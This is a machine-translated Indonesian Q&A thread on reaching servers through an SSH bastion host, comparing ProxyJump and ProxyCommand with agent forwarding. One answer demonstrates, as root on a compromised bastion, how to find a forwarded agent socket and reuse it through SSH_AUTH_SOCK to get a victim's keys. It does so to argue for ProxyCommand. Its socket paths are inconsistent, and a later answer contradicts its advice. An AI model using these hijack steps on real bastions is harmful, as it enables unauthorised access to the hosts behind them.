Kami memiliki server benteng B. Kita perlu SSH dari A hingga B ke C, menggunakan kunci pribadi.

Apa pilihan yang lebih baik:

• Letakkan kunci SSH pribadi di server B. Kita membaca bahwa itu ide yang buruk untuk melakukannya di lingkungan produksi.

  Dari sini :

  Jangan pernah tempatkan kunci pribadi SSH Anda pada instance benteng. Sebagai gantinya, gunakan penerusan agen SSH untuk terhubung pertama kali ke bastion dan dari sana ke instance lain dalam subnet pribadi. Ini memungkinkan Anda menyimpan kunci pribadi SSH hanya di komputer Anda.

• Gunakan penerusan agen SSH . Untuk mengatur penerusan agen, saya perlu mengizinkan TCP Forwarding. Saat mengatur penerusan agen, file soket dibuat pada host penerusan, yang merupakan mekanisme dimana kunci dapat diteruskan ke tujuan. Dalam pengaturan Bastion di AWS:

  Penerusan TCP: Mengatur nilai ini ke true akan mengaktifkan penerusan TCP (penerowongan SSH). Ini bisa sangat berguna tetapi juga merupakan risiko keamanan, jadi kami sarankan Anda menjaga pengaturan default (dinonaktifkan) kecuali diminta

  Juga dari sini :

  Penerusan Agen SSH dianggap berbahaya

Apa yang lebih baik Bagaimana dengan alternatif dari tautan kedua: ProxyCommand , saya memahaminya membantu dengan masalah file socket, tapi tetap saya pikir saya harus mengaktifkan penerusan TCP, jadi apakah cukup aman?

Gunakan ProxyCommand atau ProxyJump

Saya akan merekomendasikan untuk menggunakan ProxyCommand(atau bahkan lebih baik ProxyJumpkarena sintaks lebih mudah tetapi memerlukan openssh 7.3+ saya pikir di sisi klien), dan Anda tidak perlu menggunakan kunci pribadi di Bastion, semuanya tetap lokal.

Contoh dengan ProxyJump

Di komputer klien Anda, Anda menulis file di bawah ~/.ssh/configdengan konten yang mirip dengan di bawah ini:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Kemudian lakukan ssh srvCakan menghubungkan Anda ke C melalui B (bastion) tanpa Agen Forwarding atau menggunakan kunci pribadi ke bastion.

Dalam contoh di atas, "bastion" adalah alias untuk host Bastion Anda dan srvC adalah alias untuk server Anda C. Di dalam HostNameAnda perlu memasukkan IP atau nama domain yang benar-benar berkualifikasi untuk host Anda. Untuk pengguna, Anda perlu memperbarui Useruntuk nama login yang benar di Bastion dan server C. Akhirnya IdentityFileadalah opsional jika Anda menggunakan agen lokal (mis. KeeAgent atau ssh-agent), tetapi jika tidak berjalan maka itu juga akan bekerja dan minta Anda untuk setiap frasa sandi utama.

Menyebarkan kunci publik

Tentu saja Anda perlu menggunakan kunci publik untuk kedua bastion dan srvC. Anda dapat menggunakan (tanda $ hanya untuk menggambarkan prompt, jangan mengetiknya):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Catatan: di atas hanya akan berfungsi jika otentikasi kata sandi masih diizinkan. Setelah penyebaran di atas dan memverifikasi bahwa semuanya berfungsi sebagaimana mestinya, Anda harus melarang otentikasi kata sandi pada 2 server.

Contoh dengan ProxyCommand bukan ProxyJump

Jika Anda memiliki versi OpenSSH yang lebih lama yang tidak mendukung ProxyJump(di sisi klien), maka ganti:

ProxyJump bastion

oleh

ProxyCommand ssh -q -W %h:%p bastion

Sejauh yang saya mengerti, ini mirip.

Saya melihat jawaban tentang ProxyJump. Mari kita bicara tentang ProxyCommand .

Tapi tunggu, tunggu! Saya dapat menulis kepada Anda cara meretas server yang menggunakan penerusan Agen, yang akan jauh lebih mudah untuk memahami perbedaannya!

Ayo kembali!

Untuk langkah-langkah dasar: Anda dapat membaca posting saya di sini

Langkah-langkah dasar adalah sebagai berikut:

1. Buat pengguna benteng
2. Nonaktifkan login root
3. Blokir upaya peretasan
4. Ubah port
5. Konfigurasikan firewall
6. Konfigurasikan SELinux

Cara menggunakan AgentForwarding

-Buat konfigurasi di ~ / .ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Tambahkan kunci otentikasi Anda ke ssh-agent

ssh-add ~/.ssh/name_rsa

-Sambungkan ke rumah benteng

ssh bast

-Hubungkan server aplikasi dari benteng

 ssh app@IP -p PORT

Peretasan!

Anda mungkin, mengajukan pertanyaan kepada saya:

• Apakah server saya aman? Dan jawabannya cukup sederhana:

  • TIDAK!

• Mengapa?

  • Karena Anda menggunakan penerusan Agen SSH!

• Dan di mana masalahnya?

  • Karena penerusan agen berbahaya dan itu dianggap berbahaya.

• Mengapa?

  • Mari kita jelaskan semuanya dari dalam ke luar: Ketika Anda menghubungkan host bastion, ssh-agent agung Anda diteruskan. Ini berarti bahwa soket akan diatur sehingga seseorang dapat menggunakan data soket ini untuk mengakses server Anda. Bayangkan server benteng Anda dikompromikan, Jika seseorang memiliki izin yang memadai di server Linux Anda, ia hanya akan menggunakan informasi soket Anda. Akibatnya, semua server Anda dapat diakses. Saya tahu jendela kompromi sangat kecil karena itu tergantung pada berapa banyak waktu Anda terhubung ke host benteng. Tetapi apakah Anda benar-benar ingin mengambil risiko ketika Anda memiliki opsi lain seperti ProxyCommand? Karenanya, cukup gunakan ProxyCommand!

Bagaimana cara meretas server jika Anda mengompromikan bastion host?

Lacak Target

Dalam direktori / tmp Anda mungkin melihat sesuatu seperti itu:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Mari kita buka file sementara

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Mari kita lihat koneksi ke id proses ini.

netstat -nxp | grep  10507

hasil:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

dan siapa yang terhubung?

lsof -i -a -p 10507

hasil:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Kita juga dapat melihat file socket:

cd /proc/10507/fd/
ls

hasil:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Dan apa yang terjadi ketika klien akan terhubung ke server jauh? Ayo lihat:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Kita bahkan dapat melihat apakah file socket digunakan menggunakan netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Mencuri info Socket dan alamat IP

Sekarang kita perlu mencuri informasi soket saat sesi bastion host terbuka . Oh, kita juga perlu IP server tujuan , jadi gunakan saja netstat:

netstat -tn

Langkah terakhir untuk menggunakan file socket yang diteruskan

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Periksa apakah kunci sudah dimuat .

ssh-add -l

Hasilnya harus seperti itu :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Server diretas, bagaimana cara memperbaiki masalah keamanan?

Perintah proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Untuk operasi dasar: cara mentransfer file melalui server (dari klien ke server, server ke klien), Anda dapat membaca posting saya di sini

Kesimpulan

• Jika Anda menggunakan bastion host, jangan gunakan AgentForwarding tetapi gunakan ProxyCommand
• Selalu gunakan pengguna non-root untuk otentikasi
• Gunakan firewall dan blokir semua koneksi yang tidak perlu.
• Gunakan SELinux (Secara umum)
• Blokir alamat IP yang mencoba masuk beberapa kali dengan kredensial yang salah
• Jika tidak perlu, jangan berikan sudo izin kepada pengguna
• Monitor server Anda
• Perbarui server Anda untuk patch keamanan

Informasi lebih lanjut, lihat blog saya . Selain itu saya punya beberapa screeenshots, jadi mungkin bermanfaat untuk Anda.

Cukup gunakan penerusan agen SSH seperti kebanyakan orang lain lakukan.

• Kunci akan berada di ssh agent di laptop Anda.
• Anda masuk ke benteng, diautentikasi melalui agen.
• Dari sana login ke host target Anda, dengan permintaan otentikasi diteruskan kembali ke laptop Anda .

Keuntungan: tidak ada kunci yang disimpan di benteng yang dapat disalahgunakan.

Semoga itu bisa membantu :)